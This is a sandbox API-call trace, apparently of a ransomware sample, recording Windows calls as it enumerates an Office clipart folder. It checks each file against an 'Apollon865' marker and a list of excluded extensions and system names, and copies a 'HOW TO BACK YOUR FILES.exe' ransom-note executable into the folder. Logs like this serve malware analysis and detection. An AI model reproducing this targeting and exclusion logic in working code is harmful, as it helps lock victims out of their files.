	[0074.088] lstrcmpiW (lpString1="01741L.GIF", lpString2="Apollon865") returned -1
	[0074.088] lstrlenW (lpString=".dll") returned 4
	[0074.088] lstrcmpiW (lpString1="WB01741L.GIF", lpString2=".dll") returned 1
	[0074.088] lstrlenW (lpString=".lnk") returned 4
	[0074.088] lstrcmpiW (lpString1="WB01741L.GIF", lpString2=".lnk") returned 1
	[0074.088] lstrlenW (lpString=".ini") returned 4
	[0074.088] lstrcmpiW (lpString1="WB01741L.GIF", lpString2=".ini") returned 1
	[0074.088] lstrlenW (lpString=".sys") returned 4
	[0074.088] lstrcmpiW (lpString1="WB01741L.GIF", lpString2=".sys") returned 1
	[0074.088] lstrlenW (lpString="WB01741L.GIF") returned 12
	[0074.088] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02039_.GIF" | out: lpString1="WB02039_.GIF") returned="WB02039_.GIF"
	[0074.088] lstrlenW (lpString="WB02039_.GIF") returned 12
	[0074.088] lstrlenW (lpString="Apollon865") returned 10
	[0074.088] lstrcmpiW (lpString1="02039_.GIF", lpString2="Apollon865") returned -1
	[0074.088] lstrlenW (lpString=".dll") returned 4
	[0074.088] lstrcmpiW (lpString1="WB02039_.GIF", lpString2=".dll") returned 1
	[0074.088] lstrlenW (lpString=".lnk") returned 4
	[0074.088] lstrcmpiW (lpString1="WB02039_.GIF", lpString2=".lnk") returned 1
	[0074.088] lstrlenW (lpString=".ini") returned 4
	[0074.088] lstrcmpiW (lpString1="WB02039_.GIF", lpString2=".ini") returned 1
	[0074.088] lstrlenW (lpString=".sys") returned 4
	[0074.088] lstrcmpiW (lpString1="WB02039_.GIF", lpString2=".sys") returned 1
	[0074.088] lstrlenW (lpString="WB02039_.GIF") returned 12
	[0074.088] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02055_.GIF" | out: lpString1="WB02055_.GIF") returned="WB02055_.GIF"
	[0074.088] lstrlenW (lpString="WB02055_.GIF") returned 12
	[0074.088] lstrlenW (lpString="Apollon865") returned 10
	[0074.088] lstrcmpiW (lpString1="02055_.GIF", lpString2="Apollon865") returned -1
	[0074.088] lstrlenW (lpString=".dll") returned 4
	[0074.088] lstrcmpiW (lpString1="WB02055_.GIF", lpString2=".dll") returned 1
	[0074.088] lstrlenW (lpString=".lnk") returned 4
	[0074.088] lstrcmpiW (lpString1="WB02055_.GIF", lpString2=".lnk") returned 1
	[0074.088] lstrlenW (lpString=".ini") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02055_.GIF", lpString2=".ini") returned 1
	[0074.089] lstrlenW (lpString=".sys") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02055_.GIF", lpString2=".sys") returned 1
	[0074.089] lstrlenW (lpString="WB02055_.GIF") returned 12
	[0074.089] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02073_.GIF" | out: lpString1="WB02073_.GIF") returned="WB02073_.GIF"
	[0074.089] lstrlenW (lpString="WB02073_.GIF") returned 12
	[0074.089] lstrlenW (lpString="Apollon865") returned 10
	[0074.089] lstrcmpiW (lpString1="02073_.GIF", lpString2="Apollon865") returned -1
	[0074.089] lstrlenW (lpString=".dll") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02073_.GIF", lpString2=".dll") returned 1
	[0074.089] lstrlenW (lpString=".lnk") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02073_.GIF", lpString2=".lnk") returned 1
	[0074.089] lstrlenW (lpString=".ini") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02073_.GIF", lpString2=".ini") returned 1
	[0074.089] lstrlenW (lpString=".sys") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02073_.GIF", lpString2=".sys") returned 1
	[0074.089] lstrlenW (lpString="WB02073_.GIF") returned 12
	[0074.089] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02074_.GIF" | out: lpString1="WB02074_.GIF") returned="WB02074_.GIF"
	[0074.089] lstrlenW (lpString="WB02074_.GIF") returned 12
	[0074.089] lstrlenW (lpString="Apollon865") returned 10
	[0074.089] lstrcmpiW (lpString1="02074_.GIF", lpString2="Apollon865") returned -1
	[0074.089] lstrlenW (lpString=".dll") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02074_.GIF", lpString2=".dll") returned 1
	[0074.089] lstrlenW (lpString=".lnk") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02074_.GIF", lpString2=".lnk") returned 1
	[0074.089] lstrlenW (lpString=".ini") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02074_.GIF", lpString2=".ini") returned 1
	[0074.089] lstrlenW (lpString=".sys") returned 4
	[0074.089] lstrcmpiW (lpString1="WB02074_.GIF", lpString2=".sys") returned 1
	[0074.089] lstrlenW (lpString="WB02074_.GIF") returned 12
	[0074.090] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02077_.GIF" | out: lpString1="WB02077_.GIF") returned="WB02077_.GIF"
	[0074.090] lstrlenW (lpString="WB02077_.GIF") returned 12
	[0074.090] lstrlenW (lpString="Apollon865") returned 10
	[0074.090] lstrcmpiW (lpString1="02077_.GIF", lpString2="Apollon865") returned -1
	[0074.090] lstrlenW (lpString=".dll") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02077_.GIF", lpString2=".dll") returned 1
	[0074.090] lstrlenW (lpString=".lnk") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02077_.GIF", lpString2=".lnk") returned 1
	[0074.090] lstrlenW (lpString=".ini") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02077_.GIF", lpString2=".ini") returned 1
	[0074.090] lstrlenW (lpString=".sys") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02077_.GIF", lpString2=".sys") returned 1
	[0074.090] lstrlenW (lpString="WB02077_.GIF") returned 12
	[0074.090] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02082_.GIF" | out: lpString1="WB02082_.GIF") returned="WB02082_.GIF"
	[0074.090] lstrlenW (lpString="WB02082_.GIF") returned 12
	[0074.090] lstrlenW (lpString="Apollon865") returned 10
	[0074.090] lstrcmpiW (lpString1="02082_.GIF", lpString2="Apollon865") returned -1
	[0074.090] lstrlenW (lpString=".dll") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02082_.GIF", lpString2=".dll") returned 1
	[0074.090] lstrlenW (lpString=".lnk") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02082_.GIF", lpString2=".lnk") returned 1
	[0074.090] lstrlenW (lpString=".ini") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02082_.GIF", lpString2=".ini") returned 1
	[0074.090] lstrlenW (lpString=".sys") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02082_.GIF", lpString2=".sys") returned 1
	[0074.090] lstrlenW (lpString="WB02082_.GIF") returned 12
	[0074.090] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02085_.GIF" | out: lpString1="WB02085_.GIF") returned="WB02085_.GIF"
	[0074.090] lstrlenW (lpString="WB02085_.GIF") returned 12
	[0074.090] lstrlenW (lpString="Apollon865") returned 10
	[0074.090] lstrcmpiW (lpString1="02085_.GIF", lpString2="Apollon865") returned -1
	[0074.090] lstrlenW (lpString=".dll") returned 4
	[0074.090] lstrcmpiW (lpString1="WB02085_.GIF", lpString2=".dll") returned 1
	[0074.090] lstrlenW (lpString=".lnk") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02085_.GIF", lpString2=".lnk") returned 1
	[0074.091] lstrlenW (lpString=".ini") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02085_.GIF", lpString2=".ini") returned 1
	[0074.091] lstrlenW (lpString=".sys") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02085_.GIF", lpString2=".sys") returned 1
	[0074.091] lstrlenW (lpString="WB02085_.GIF") returned 12
	[0074.091] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02097_.GIF" | out: lpString1="WB02097_.GIF") returned="WB02097_.GIF"
	[0074.091] lstrlenW (lpString="WB02097_.GIF") returned 12
	[0074.091] lstrlenW (lpString="Apollon865") returned 10
	[0074.091] lstrcmpiW (lpString1="02097_.GIF", lpString2="Apollon865") returned -1
	[0074.091] lstrlenW (lpString=".dll") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02097_.GIF", lpString2=".dll") returned 1
	[0074.091] lstrlenW (lpString=".lnk") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02097_.GIF", lpString2=".lnk") returned 1
	[0074.091] lstrlenW (lpString=".ini") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02097_.GIF", lpString2=".ini") returned 1
	[0074.091] lstrlenW (lpString=".sys") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02097_.GIF", lpString2=".sys") returned 1
	[0074.091] lstrlenW (lpString="WB02097_.GIF") returned 12
	[0074.091] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02106_.GIF" | out: lpString1="WB02106_.GIF") returned="WB02106_.GIF"
	[0074.091] lstrlenW (lpString="WB02106_.GIF") returned 12
	[0074.091] lstrlenW (lpString="Apollon865") returned 10
	[0074.091] lstrcmpiW (lpString1="02106_.GIF", lpString2="Apollon865") returned -1
	[0074.091] lstrlenW (lpString=".dll") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02106_.GIF", lpString2=".dll") returned 1
	[0074.091] lstrlenW (lpString=".lnk") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02106_.GIF", lpString2=".lnk") returned 1
	[0074.091] lstrlenW (lpString=".ini") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02106_.GIF", lpString2=".ini") returned 1
	[0074.091] lstrlenW (lpString=".sys") returned 4
	[0074.091] lstrcmpiW (lpString1="WB02106_.GIF", lpString2=".sys") returned 1
	[0074.091] lstrlenW (lpString="WB02106_.GIF") returned 12
	[0074.092] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02116_.GIF" | out: lpString1="WB02116_.GIF") returned="WB02116_.GIF"
	[0074.092] lstrlenW (lpString="WB02116_.GIF") returned 12
	[0074.092] lstrlenW (lpString="Apollon865") returned 10
	[0074.092] lstrcmpiW (lpString1="02116_.GIF", lpString2="Apollon865") returned -1
	[0074.092] lstrlenW (lpString=".dll") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02116_.GIF", lpString2=".dll") returned 1
	[0074.092] lstrlenW (lpString=".lnk") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02116_.GIF", lpString2=".lnk") returned 1
	[0074.092] lstrlenW (lpString=".ini") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02116_.GIF", lpString2=".ini") returned 1
	[0074.092] lstrlenW (lpString=".sys") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02116_.GIF", lpString2=".sys") returned 1
	[0074.092] lstrlenW (lpString="WB02116_.GIF") returned 12
	[0074.092] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02134_.GIF" | out: lpString1="WB02134_.GIF") returned="WB02134_.GIF"
	[0074.092] lstrlenW (lpString="WB02134_.GIF") returned 12
	[0074.092] lstrlenW (lpString="Apollon865") returned 10
	[0074.092] lstrcmpiW (lpString1="02134_.GIF", lpString2="Apollon865") returned -1
	[0074.092] lstrlenW (lpString=".dll") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02134_.GIF", lpString2=".dll") returned 1
	[0074.092] lstrlenW (lpString=".lnk") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02134_.GIF", lpString2=".lnk") returned 1
	[0074.092] lstrlenW (lpString=".ini") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02134_.GIF", lpString2=".ini") returned 1
	[0074.092] lstrlenW (lpString=".sys") returned 4
	[0074.092] lstrcmpiW (lpString1="WB02134_.GIF", lpString2=".sys") returned 1
	[0074.092] lstrlenW (lpString="WB02134_.GIF") returned 12
	[0074.092] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02187_.GIF" | out: lpString1="WB02187_.GIF") returned="WB02187_.GIF"
	[0074.092] lstrlenW (lpString="WB02187_.GIF") returned 12
	[0074.092] lstrlenW (lpString="Apollon865") returned 10
	[0074.092] lstrcmpiW (lpString1="02187_.GIF", lpString2="Apollon865") returned -1
	[0074.092] lstrlenW (lpString=".dll") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02187_.GIF", lpString2=".dll") returned 1
	[0074.093] lstrlenW (lpString=".lnk") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02187_.GIF", lpString2=".lnk") returned 1
	[0074.093] lstrlenW (lpString=".ini") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02187_.GIF", lpString2=".ini") returned 1
	[0074.093] lstrlenW (lpString=".sys") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02187_.GIF", lpString2=".sys") returned 1
	[0074.093] lstrlenW (lpString="WB02187_.GIF") returned 12
	[0074.093] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02198_.GIF" | out: lpString1="WB02198_.GIF") returned="WB02198_.GIF"
	[0074.093] lstrlenW (lpString="WB02198_.GIF") returned 12
	[0074.093] lstrlenW (lpString="Apollon865") returned 10
	[0074.093] lstrcmpiW (lpString1="02198_.GIF", lpString2="Apollon865") returned -1
	[0074.093] lstrlenW (lpString=".dll") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02198_.GIF", lpString2=".dll") returned 1
	[0074.093] lstrlenW (lpString=".lnk") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02198_.GIF", lpString2=".lnk") returned 1
	[0074.093] lstrlenW (lpString=".ini") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02198_.GIF", lpString2=".ini") returned 1
	[0074.093] lstrlenW (lpString=".sys") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02198_.GIF", lpString2=".sys") returned 1
	[0074.093] lstrlenW (lpString="WB02198_.GIF") returned 12
	[0074.093] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02201_.GIF" | out: lpString1="WB02201_.GIF") returned="WB02201_.GIF"
	[0074.093] lstrlenW (lpString="WB02201_.GIF") returned 12
	[0074.093] lstrlenW (lpString="Apollon865") returned 10
	[0074.093] lstrcmpiW (lpString1="02201_.GIF", lpString2="Apollon865") returned -1
	[0074.093] lstrlenW (lpString=".dll") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02201_.GIF", lpString2=".dll") returned 1
	[0074.093] lstrlenW (lpString=".lnk") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02201_.GIF", lpString2=".lnk") returned 1
	[0074.093] lstrlenW (lpString=".ini") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02201_.GIF", lpString2=".ini") returned 1
	[0074.093] lstrlenW (lpString=".sys") returned 4
	[0074.093] lstrcmpiW (lpString1="WB02201_.GIF", lpString2=".sys") returned 1
	[0074.094] lstrlenW (lpString="WB02201_.GIF") returned 12
	[0074.094] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02214_.GIF" | out: lpString1="WB02214_.GIF") returned="WB02214_.GIF"
	[0074.094] lstrlenW (lpString="WB02214_.GIF") returned 12
	[0074.094] lstrlenW (lpString="Apollon865") returned 10
	[0074.094] lstrcmpiW (lpString1="02214_.GIF", lpString2="Apollon865") returned -1
	[0074.094] lstrlenW (lpString=".dll") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02214_.GIF", lpString2=".dll") returned 1
	[0074.094] lstrlenW (lpString=".lnk") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02214_.GIF", lpString2=".lnk") returned 1
	[0074.094] lstrlenW (lpString=".ini") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02214_.GIF", lpString2=".ini") returned 1
	[0074.094] lstrlenW (lpString=".sys") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02214_.GIF", lpString2=".sys") returned 1
	[0074.094] lstrlenW (lpString="WB02214_.GIF") returned 12
	[0074.094] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB02218_.GIF" | out: lpString1="WB02218_.GIF") returned="WB02218_.GIF"
	[0074.094] lstrlenW (lpString="WB02218_.GIF") returned 12
	[0074.094] lstrlenW (lpString="Apollon865") returned 10
	[0074.094] lstrcmpiW (lpString1="02218_.GIF", lpString2="Apollon865") returned -1
	[0074.094] lstrlenW (lpString=".dll") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02218_.GIF", lpString2=".dll") returned 1
	[0074.094] lstrlenW (lpString=".lnk") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02218_.GIF", lpString2=".lnk") returned 1
	[0074.094] lstrlenW (lpString=".ini") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02218_.GIF", lpString2=".ini") returned 1
	[0074.094] lstrlenW (lpString=".sys") returned 4
	[0074.094] lstrcmpiW (lpString1="WB02218_.GIF", lpString2=".sys") returned 1
	[0074.094] lstrlenW (lpString="WB02218_.GIF") returned 12
	[0074.094] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR"
	[0074.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0074.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0074.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 50
	[0074.095] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR"
	[0074.095] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.104] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x443c55d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x443c55d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0074.104] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.104] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.104] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0074.104] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x443c55d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x443c55d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0074.105] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.105] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0074.105] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0074.105] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0074.105] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="Apollon865.txt.exe") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".") returned 1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="..") returned 1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="windows") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="bootmgr") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="temp") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="pagefile.sys") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="boot") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ids.txt") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="ntuser.dat") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="perflogs") returned -1
	[0074.105] lstrcmpiW (lpString1="AG00004_.GIF", lpString2="MSBuild") returned -1
	[0074.105] lstrlenW (lpString="AG00004_.GIF") returned 12
	[0074.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*") returned 52
	[0074.105] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00004_.GIF" | out: lpString1="AG00004_.GIF") returned="AG00004_.GIF"
	[0074.105] lstrlenW (lpString="AG00004_.GIF") returned 12
	[0074.106] lstrlenW (lpString="Apollon865") returned 10
	[0074.106] lstrcmpiW (lpString1="00004_.GIF", lpString2="Apollon865") returned -1
	[0074.106] lstrlenW (lpString=".dll") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".dll") returned 1
	[0074.106] lstrlenW (lpString=".lnk") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".lnk") returned 1
	[0074.106] lstrlenW (lpString=".ini") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".ini") returned 1
	[0074.106] lstrlenW (lpString=".sys") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00004_.GIF", lpString2=".sys") returned 1
	[0074.106] lstrlenW (lpString="AG00004_.GIF") returned 12
	[0074.106] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00011_.GIF" | out: lpString1="AG00011_.GIF") returned="AG00011_.GIF"
	[0074.106] lstrlenW (lpString="AG00011_.GIF") returned 12
	[0074.106] lstrlenW (lpString="Apollon865") returned 10
	[0074.106] lstrcmpiW (lpString1="00011_.GIF", lpString2="Apollon865") returned -1
	[0074.106] lstrlenW (lpString=".dll") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".dll") returned 1
	[0074.106] lstrlenW (lpString=".lnk") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".lnk") returned 1
	[0074.106] lstrlenW (lpString=".ini") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".ini") returned 1
	[0074.106] lstrlenW (lpString=".sys") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00011_.GIF", lpString2=".sys") returned 1
	[0074.106] lstrlenW (lpString="AG00011_.GIF") returned 12
	[0074.106] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00021_.GIF" | out: lpString1="AG00021_.GIF") returned="AG00021_.GIF"
	[0074.106] lstrlenW (lpString="AG00021_.GIF") returned 12
	[0074.106] lstrlenW (lpString="Apollon865") returned 10
	[0074.106] lstrcmpiW (lpString1="00021_.GIF", lpString2="Apollon865") returned -1
	[0074.106] lstrlenW (lpString=".dll") returned 4
	[0074.106] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".dll") returned 1
	[0074.107] lstrlenW (lpString=".lnk") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".lnk") returned 1
	[0074.107] lstrlenW (lpString=".ini") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".ini") returned 1
	[0074.107] lstrlenW (lpString=".sys") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00021_.GIF", lpString2=".sys") returned 1
	[0074.107] lstrlenW (lpString="AG00021_.GIF") returned 12
	[0074.107] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00037_.GIF" | out: lpString1="AG00037_.GIF") returned="AG00037_.GIF"
	[0074.107] lstrlenW (lpString="AG00037_.GIF") returned 12
	[0074.107] lstrlenW (lpString="Apollon865") returned 10
	[0074.107] lstrcmpiW (lpString1="00037_.GIF", lpString2="Apollon865") returned -1
	[0074.107] lstrlenW (lpString=".dll") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".dll") returned 1
	[0074.107] lstrlenW (lpString=".lnk") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".lnk") returned 1
	[0074.107] lstrlenW (lpString=".ini") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".ini") returned 1
	[0074.107] lstrlenW (lpString=".sys") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00037_.GIF", lpString2=".sys") returned 1
	[0074.107] lstrlenW (lpString="AG00037_.GIF") returned 12
	[0074.107] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00038_.GIF" | out: lpString1="AG00038_.GIF") returned="AG00038_.GIF"
	[0074.107] lstrlenW (lpString="AG00038_.GIF") returned 12
	[0074.107] lstrlenW (lpString="Apollon865") returned 10
	[0074.107] lstrcmpiW (lpString1="00038_.GIF", lpString2="Apollon865") returned -1
	[0074.107] lstrlenW (lpString=".dll") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".dll") returned 1
	[0074.107] lstrlenW (lpString=".lnk") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".lnk") returned 1
	[0074.107] lstrlenW (lpString=".ini") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".ini") returned 1
	[0074.107] lstrlenW (lpString=".sys") returned 4
	[0074.107] lstrcmpiW (lpString1="AG00038_.GIF", lpString2=".sys") returned 1
	[0074.107] lstrlenW (lpString="AG00038_.GIF") returned 12
	[0074.108] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00040_.GIF" | out: lpString1="AG00040_.GIF") returned="AG00040_.GIF"
	[0074.108] lstrlenW (lpString="AG00040_.GIF") returned 12
	[0074.108] lstrlenW (lpString="Apollon865") returned 10
	[0074.108] lstrcmpiW (lpString1="00040_.GIF", lpString2="Apollon865") returned -1
	[0074.108] lstrlenW (lpString=".dll") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".dll") returned 1
	[0074.108] lstrlenW (lpString=".lnk") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".lnk") returned 1
	[0074.108] lstrlenW (lpString=".ini") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".ini") returned 1
	[0074.108] lstrlenW (lpString=".sys") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00040_.GIF", lpString2=".sys") returned 1
	[0074.108] lstrlenW (lpString="AG00040_.GIF") returned 12
	[0074.108] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00052_.GIF" | out: lpString1="AG00052_.GIF") returned="AG00052_.GIF"
	[0074.108] lstrlenW (lpString="AG00052_.GIF") returned 12
	[0074.108] lstrlenW (lpString="Apollon865") returned 10
	[0074.108] lstrcmpiW (lpString1="00052_.GIF", lpString2="Apollon865") returned -1
	[0074.108] lstrlenW (lpString=".dll") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".dll") returned 1
	[0074.108] lstrlenW (lpString=".lnk") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".lnk") returned 1
	[0074.108] lstrlenW (lpString=".ini") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".ini") returned 1
	[0074.108] lstrlenW (lpString=".sys") returned 4
	[0074.108] lstrcmpiW (lpString1="AG00052_.GIF", lpString2=".sys") returned 1
	[0074.108] lstrlenW (lpString="AG00052_.GIF") returned 12
	[0074.108] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AG00057_.GIF" | out: lpString1="AG00057_.GIF") returned="AG00057_.GIF"
	[0074.108] lstrlenW (lpString="AG00057_.GIF") returned 12
